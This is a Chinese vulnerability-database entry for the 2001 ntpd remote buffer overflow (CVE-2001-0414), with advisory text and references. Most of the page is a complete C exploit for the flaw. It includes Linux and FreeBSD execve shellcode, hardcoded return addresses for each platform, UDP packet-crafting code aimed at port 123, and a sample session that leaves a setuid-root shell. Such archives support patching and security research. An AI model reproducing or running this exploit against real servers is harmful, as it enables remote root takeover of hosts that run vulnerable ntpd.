Ntpd远程缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106279 漏洞类型 边界条件错误
发布时间 2001-04-04 更新时间 2007-11-05
CVE编号 CVE-2001-0414 CNNVD-ID CNNVD-200106-110
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20727
https://www.securityfocus.com/bid/2540
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-110
|漏洞详情
多种Unix/Linux操作系统和Cisco路由器的网络时间协议守护进程(NTPD)容易遭受远程缓冲区溢出攻击。由于NTP基于无状态的UDP协议,于是可以伪造各种恶意的请求报文,引发远程缓冲区溢出。绝大多数情况下,NTPD是以root身份启动的,所以远程缓冲区溢出后将直接获取root权限。尽管这次是常规缓冲区溢出,但为了有效利用它进行攻击还是相当困难的。目标缓冲区会因为某些原因被破坏,攻击完成时,shellcode真正可利用的缓冲区将小于70字节。下面的演示代码简单执行了/tmp/sh而已,完全可以构造一次完整的远程攻击。
|漏洞EXP
source: http://www.securityfocus.com/bid/2540/info

NTP, the Network Time Protocol, is used to synchronize the time between a computer and another system or time reference. It uses UDP as a transport protocol. There are two protocol versions in use: NTP v3 and NTP v4. The 'ntpd' daemon implementing version 3 is called 'xntp3'; the version implementing version 4 is called 'ntp'.

On UNIX systems, the 'ntpd' daemon is available to regularly synchronize system time with internet time servers.

Many versions of 'ntpd' are prone to a remotely exploitable buffer-overflow issue. A remote attacker may be able to crash the daemon or execute arbitrary code on the host.

If successful, the attacker may gain root access on the victim host or may denial NTP service on the affected host. 

/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl> */

/*
 * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
 * to remote buffer overflow attack. It occurs when building response for
 * a query with large readvar argument. In almost all cases, ntpd is running
 * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
 *
 * Althought it's a normal buffer overflow, exploiting it is much harder.
 * Destination buffer is accidentally damaged, when attack is performed, so
 * shellcode can't be larger than approx. 70 bytes. This proof of concept code
 * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
 * is possible.
 *
 * NTP is stateless UDP based protocol, so all malicious queries can be
 * spoofed.
 *
 * Example of use on generic RedHat 7.0 box:
 *
 * [venglin@cipsko venglin]$ cat dupa.c
 * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
 * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
 * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
 * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
 * ntpdx v1.0 by venglin@freebsd.lublin.pl
 * 
 * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
 *
 * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
 * [1] <- evil query (pkt = 512 | shell = 45)
 * [2] <- null query (pkt = 12)
 * Done.
 * /tmp/sh was spawned.
 * [venglin@cipsko venglin]$ ls -al /bin/bash
 * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>

#define NOP	0x90
#define ADDRS	8
#define PKTSIZ	512

static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";

/* generic execve() shellcodes */

char lin_execve[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/sh";

char bsd_execve[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

struct platforms
{
	char *os;
	char *version;
	char *code;
	long ret;
	int align;
	int shalign;
	int port;
};

/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet 
 * *after* RET address. This values will vary from platform to platform.
 */

struct platforms targ[] =
{
	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
		0xbfbff8bc, 200, 220, 0 },

	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
		0xbfbff540, 200, 220, 0 },

	{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
		0xbffff777, 240, 160, 0 },

	{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
};

long getip(name)
char *name;
{
	struct hostent *hp;
	long ip;
	extern int h_errno;

	if ((ip = inet_addr(name)) < 0)
	{
		if (!(hp = gethostbyname(name)))
		{
			fprintf(stderr, "gethostbyname(): %s\n",
				strerror(h_errno));
			exit(1);
		}
		memcpy(&ip, (hp->h_addr), 4);
	}

	return ip;
}

int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
	/* tcpdump-based reverse engineering :)) */

	char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
		      0x74, 0x75, 0x6d, 0x3d };

	char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x00, 0x00 };

	char buf[PKTSIZ], *p;
	long *ap;
	int i;

	int sockfd;
	struct sockaddr_in sa;

	bzero(&sa, sizeof(sa));

	sa.sin_family = AF_INET;
	sa.sin_port = htons(123);
	sa.sin_addr.s_addr = getip(host);

	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	{
		perror("socket");
		return -1;
	}

	if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
	{
		perror("connect");
		close(sockfd);
		return -1;
	}

	memset(buf, NOP, PKTSIZ);
	memcpy(buf, q2, sizeof(q2));

	p = buf + align;
	ap = (unsigned long *)p;
                
	for(i=0;i<ADDRS/4;i++)
		*ap++ = ret;

	p = (char *)ap;

	memcpy(buf+shalign, shellcode, strlen(shellcode));

	if((write(sockfd, buf, PKTSIZ)) < 0)
	{
		perror("write");
		close(sockfd);
		return -1;
	}

	fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
		strlen(shellcode));
	fflush(stderr);

        if ((write(sockfd, q3, sizeof(q3))) < 0)
        {
                perror("write");
                close(sockfd);
                return -1;
        }

	fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
	fflush(stderr);

	close(sockfd);

	return 0;
}

int main(argc, argv)
int argc;
char **argv;
{
	extern int optind, opterr;
	extern char *optarg;
	int ch, type, ofs, i;
	long ret;

	opterr = ofs = 0;
	type = -1;

	while ((ch = getopt(argc, argv, "t:o:")) != -1)
		switch((char)ch)
		{
			case 't':
				type = atoi(optarg);
				break;

			case 'o':
				ofs = atoi(optarg);
				break;

			case '?':
			default:
				puts(usage);
				exit(0);

		}

	argc -= optind;
	argv += optind;

	fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");

	if (type < 0)
	{
		fprintf(stderr, "Please select platform:\n");
		for (i=0;targ[i].os;i++)
		{
			fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
			targ[i].os, targ[i].version, (void *)targ[i].ret);
		}

		exit(0);
	}

	fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
			targ[type].os, targ[type].version);

	ret = targ[type].ret;
	ret += ofs;

	if (argc != 1)
	{
		puts(usage);
		exit(0);
	}

	fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
		(void *)ret, targ[type].align, targ[type].shalign);

	if (doquery(*argv, ret, targ[type].code, targ[type].align,
		targ[type].shalign) < 0)
	{
		fprintf(stderr, "Failed.\n");
		exit(1);
	}

	fprintf(stderr, "Done.\n");

	if (!targ[type].port)
	{
		fprintf(stderr, "/tmp/sh was spawned.\n");
		exit(0);
	}

	exit(0);
}
|受影响的产品
Sun Solaris 8_x86 Sun Solaris 8_sparc Sun Solaris 7.0_x86 Sun Solaris 7.0 Sun Solaris 2.6_x86 Sun Solaris 2.6 HP HP-UX (VVOS) 11.0.4 HP
|参考资料

来源:BID
名称:2540
链接:http://www.securityfocus.com/bid/2540
来源:MANDRAKE
名称:MDKSA-2001:036
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-036.php3
来源:DEBIAN
名称:DSA-045
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=98651866104663&w=2
来源:XF
名称:ntpd-remote-bo(6321)
链接:http://xforce.iss.net/static/6321.php
来源:REDHAT
名称:RHSA-2001:045
链接:http://www.redhat.com/support/errata/RHSA-2001-045.html
来源:OSVDB
名称:805
链接:http://www.osvdb.org/805
来源:CALDERA
名称:CSSA-2001-013
链接:http://www.calderasystems.com/support/security/advisories/CSSA-2001-013.0.txt
来源:BUGTRAQ
名称:20010409ntpd-newDebian2.2(potato)versionisalsovulnerable
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=98684532921941&w=2
来源:BUGTRAQ
名称:20010409PROGENY-SA-2001-02:ntpdremotebufferoverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=98684202610470&w=2
来源:BUGTRAQ
名称:20010409ntp-4.99k23.tar.gzisavailable
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=98683952401753&w=2
来源:BUGTRAQ
名称:20010408[slackware-security]bufferoverflowfixforNTP